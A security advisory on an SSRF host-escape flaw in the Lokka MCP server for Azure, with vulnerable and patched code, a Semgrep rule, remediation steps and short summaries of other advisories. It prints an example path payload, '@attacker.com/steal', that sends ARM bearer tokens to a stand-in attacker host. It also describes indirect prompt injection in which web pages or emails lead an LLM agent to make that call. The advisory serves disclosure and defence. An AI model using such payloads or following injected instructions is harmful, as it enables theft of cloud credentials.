Jun 20, 2026·7 min read·5 visits
Unauthenticated Server-Side Request Forgery (SSRF) in the @merill/lokka MCP server allows remote attackers to exfiltrate Azure Resource Manager OAuth 2.0 Bearer tokens to arbitrary servers via malicious path variables containing host-escape characters.
A Server-Side Request Forgery (SSRF) and Bearer Token Exfiltration vulnerability exists in the @merill/lokka (Lokka) Model Context Protocol (MCP) server prior to version 2.1.2. The server constructed Azure Resource Manager request URLs by concatenating user-controlled path parameters directly into destination request strings. By injecting authority-redefinition characters, an attacker can manipulate URL parsing to execute a host-escape attack, forcing the server to send high-privilege Azure Resource Manager (ARM) Bearer tokens to an external attacker-controlled host. This allows complete administrative access to the associated Azure subscriptions.
The @merill/lokka (Lokka) package functions as a Model Context Protocol (MCP) server designed to interface with Microsoft APIs, allowing Large Language Model (LLM) agents to perform administrative and data-querying actions within Microsoft Azure. The attack surface of this tool is exposed via its capability to accept parameter inputs, such as subscriptions and paths, which are processed backend to build HTTP requests aimed at Azure Resource Manager (ARM). Since this tool operates within a highly trusted boundary, it manages authentication credentials to call sensitive Azure administrative APIs.
Prior to version 2.1.2, Lokka was vulnerable to Server-Side Request Forgery (SSRF) categorized under CWE-918. The vulnerability originates from improper sanitization and insecure string construction of destination URLs when handling user-provided path inputs. An unauthorized remote attacker could manipulate the input parameter to bypass host boundaries, causing the server to make outward requests to unintended destinations.
This flaw carries high severity because of the authentication mechanism of the application. To fulfill queries, Lokka requests and appends a high-privilege Azure Active Directory (Entra ID) OAuth 2.0 Bearer token to the Authorization header of its outgoing requests. Under an exploitation scenario, this token is transmitted to an attacker-controlled external host, facilitating credential theft and unauthorized access to the victim's cloud subscription.
The root cause of GHSA-G2GW-Q38M-VJFC is an authority separation parsing vulnerability that arises from direct string concatenation of user-controlled input into a target URL string. Specifically, the application appended a user-supplied path variable directly to an established base URL without verifying if the path contained authority-redefinition characters. This programming error allowed the injection of the @ character, which acts as a structural delimiter within standard URL specifications.
According to RFC 3986, the @ symbol separates user information from the host authority in a URI (e.g., scheme://userinfo@host/path). When the application concatenated a path starting with @attacker.com to the base URL https://management.azure.com, it generated the malformed string https://management.azure.com@attacker.com/v1/endpoint. This string represents a syntactically valid URL where management.azure.com is interpreted as user credentials, and attacker.com is resolved as the host authority.
When standard HTTP libraries parse this generated string, they identify attacker.com as the target of the HTTP request. The library resolves the IP address of the attacker-controlled server and establishes a TCP/TLS connection to it. Because the application logic attaches the OAuth 2.0 Bearer token to this outgoing request, the HTTP client transmits the active authorization token directly to the attacker's web server.
To understand the vulnerability and its corresponding resolution, we can review the implementation of the request builder before and after the fix in commit babead878f44cc2face2f8ee55d8b706e420947e.
// VULNERABLE IMPLEMENTATION (Pre-2.1.2)
let url = "https://management.azure.com";
if (subscriptionId) {
url += `/subscriptions/${subscriptionId}`;
}
url += path; // Insecure path concatenation allows host injection
url += `?${urlParams.toString()}`;In the vulnerable implementation, the path variable is appended directly to the URL string. This allows an input like @attacker.com to structurally alter the URI authority. The patched code introduces two defensive layers: input sanitization and secure URL parsing.
// PATCHED IMPLEMENTATION (2.1.2)
function validateAzurePath(path: string): void {
if (!path) {
throw new Error("Path cannot be empty");
}
// Check for characters that can alter URL parsing
const forbiddenPatterns = [
{ pattern: /@/, reason: "contains @ (host-escape character)" },
{ pattern: /\/{2,}/, reason: "contains double slashes (protocol-relative URL)" },
{ pattern: /^https?:\/\//i, reason: "is an absolute URL" },
{ pattern: /\\/g, reason: "contains backslashes" }
];
for (const { pattern, reason } of forbiddenPatterns) {
if (pattern.test(path)) {
throw new Error(`Invalid path: ${reason}`);
}
}
if (!path.startsWith("/")) {
throw new Error("Invalid path: must start with '/'");
}
}
function buildAzureUrl(subscriptionId, path, apiVersion, queryParams) {
const urlObj = new URL("https://management.azure.com");
let pathname = "";
if (subscriptionId) {
pathname += `/subscriptions/${subscriptionId}`;
}
pathname += path;
// Assigning via the pathname property forces URL-encoding of special characters
urlObj.pathname = pathname;
urlObj.searchParams.set("api-version", apiVersion);
return urlObj.toString();
}Assigning the path to the pathname property of a WHATWG URL object ensures that any special characters like @ are automatically URL-encoded to %40, neutralizing their capacity to redefine the host authority. The validation step explicitly rejects dangerous characters, offering a robust defense-in-depth approach. This patch is complete and successfully prevents known variants of URL authority manipulation.
Exploitation of this vulnerability is highly feasible, particularly in environments where Lokka is integrated with LLM agents. Because LLMs interpret untrusted external data (such as web pages or emails) and translate them into tool calls, an attacker can use indirect prompt injection to trigger the vulnerability without direct console access.
The attacker crafts a malicious input targeting the path parameter of the Lokka tool. For example, by specifying a path value of @attacker.com/steal, the attacker forces the Lokka server to construct an outbound request to the attacker's domain.
When the Lokka server executes the tool, it first retrieves a Microsoft Entra ID access token configured for the https://management.azure.com/.default scope. The HTTP client then dispatches the GET or POST request containing the bearer token in the Authorization header to the resolved address of attacker.com. The attacker monitors incoming connection logs on their server to capture the bearer token, gaining administrative access to the victim's Azure resources.
The impact of this vulnerability is critical, as it compromises the confidentiality of authentication tokens that govern administrative access to Azure infrastructure. An exfiltrated Bearer token targeting the Azure Resource Manager endpoint (https://management.azure.com) grants the bearer the same privileges as the identity running the Lokka MCP server. This identity typically holds Reader, Contributor, or Owner permissions across one or more Azure subscriptions.
With a stolen token, an attacker can perform unauthorized actions via the Azure REST API, including querying subscription metadata, reading databases, exfiltrating database backups, deleting active virtual machines, or deploying malicious resources. Because the token is valid for its lifetime (typically one hour), an attacker can execute these operations from any location, bypassing traditional perimeter defenses.
The vulnerability is scored 8.7 under the CVSS v4 framework. This reflects high network-based confidentiality impact (VC:H) with low attack complexity (AC:L) and no requirement for privileges (PR:N) or user interaction (UI:N). In LLM-integrated environments, this vulnerability effectively acts as a vector for privilege escalation from a low-trust data input to full cloud-infrastructure control.
The primary remediation strategy is to upgrade @merill/lokka to version 2.1.2 or higher. This version implements input sanitization and secure URL parsing via the WHATWG URL constructor, completely neutralizing the path-escape vector. Organizations should audit their dependency graphs to ensure that no legacy versions of Lokka remain in use.
For environments where immediate updates are not possible, administrators should restrict outbound network traffic from the host running the Lokka server. Implementing egress firewalls to allow outbound connections only to trusted domains, specifically management.azure.com and Microsoft login endpoints, prevents the server from connecting to attacker-controlled hosts during an exploitation attempt.
Additionally, security teams can deploy a static analysis rule to detect similar vulnerabilities in custom integrations. The following Semgrep rule identifies insecure string concatenation used to construct URLs for Azure resource requests:
rules:
- id: lokka-ssrf-path-concatenation
patterns:
- pattern-either:
- pattern: |
let $URL = "https://management.azure.com" + $PATH;
- pattern: |
let $URL = "https://management.azure.com";
...
$URL += $PATH;
message: "SSRF and host-escape vulnerability. String concatenation of path inputs bypasses authority parsing security controls. Use the WHATWG URL constructor instead."
severity: ERROR
languages:
- typescript
- javascriptCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@merill/lokka Merill Fernando | < 2.1.2 | 2.1.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Impact | Credential Leakage and Host-Escape |
| Exploit Status | Proof-of-Concept |
| Remediation | Patch to version 2.1.2 or later |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
The @jhb.software/payload-cloudinary-plugin exposes an endpoint that performs unvalidated cryptographic signing of Cloudinary API parameters, allowing authenticated users with minimal privileges to forge valid signatures for arbitrary actions. This flaw allows attackers to overwrite remote storage assets, execute unauthorized file uploads, alter asset visibility parameters, trigger SSRF webhooks, and perform directory traversal within Cloudinary repositories.
A directory traversal and symlink following vulnerability exists in Pydantic Settings when using the NestedSecretsSettingsSource with nested subdirectory lookups enabled. An attacker capable of writing to the secrets directory can bypass size limitations, read arbitrary host files, or cause a denial-of-service condition via cyclic symlinks.
A Server-Side Request Forgery (SSRF) vulnerability exists in SurrealDB's Identity & Access Management (IAM) module prior to version 3.1.5. When configuring JSON Web Key Set (JWKS) URLs for token verification, the remote fetcher follows HTTP redirects by default without validating redirect targets against configured network capabilities. This allows high-privileged users to bypass network access limits and perform blind port scanning of internal network resources.
A local file disclosure vulnerability exists in SurrealDB's full-text search capabilities, allowing authenticated users with database EDITOR or OWNER roles to read arbitrary files from the host system filesystem. This occurs by abusing the mapper() filter inside a DEFINE ANALYZER statement to point to system files.
SurrealDB versions 3.0.0 through 3.1.4 contain an information exposure vulnerability (CWE-203) where the query planner optimizes sorted queries using indexes on fields with field-level SELECT restrictions. Because the query planner performs index-based sorting before enforcing permission-based redaction, unauthorized users can observe the physical order of returned rows to deduce the relative values of protected fields.
A security vulnerability exists in SurrealDB's streaming query planner where streaming graph edge traversals or reverse-reference traversals bypass field-level SELECT permissions. This vulnerability allows an authenticated database user with valid, low-privileged credentials holding table-level SELECT permissions to bypass field-level access controls and read highly confidential or restricted fields.